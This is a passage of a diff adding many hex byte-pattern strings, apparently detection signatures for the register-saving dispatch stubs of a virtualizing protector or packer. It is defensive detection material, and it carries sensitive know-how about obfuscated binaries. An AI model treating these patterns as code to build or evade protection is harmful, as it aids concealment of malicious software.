+		$674 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$675 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$676 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$677 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$678 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$679 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$680 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$681 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$682 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$683 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$684 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$685 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$686 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$687 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$688 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$689 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$690 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$691 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$692 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$693 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$694 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$695 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$696 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$697 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$698 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$699 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$700 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$701 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$702 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$703 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$704 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$705 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$706 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$707 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$708 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$709 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$710 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$711 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$712 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$713 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$714 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$715 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$716 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$717 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$718 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$719 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$720 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$721 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$722 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$723 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$724 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$725 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$726 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$727 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$728 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$729 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$730 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$731 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$732 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$733 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$734 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$735 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$736 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$737 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$738 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$739 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$740 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$741 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$742 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$743 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$744 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$745 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$746 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$747 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$748 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$749 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$750 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$751 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$752 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$753 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$754 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$755 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$756 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$757 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$758 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$759 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$760 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$761 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$762 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$763 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$764 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$765 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+		$766 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$767 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$768 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$769 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$770 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$771 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$772 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
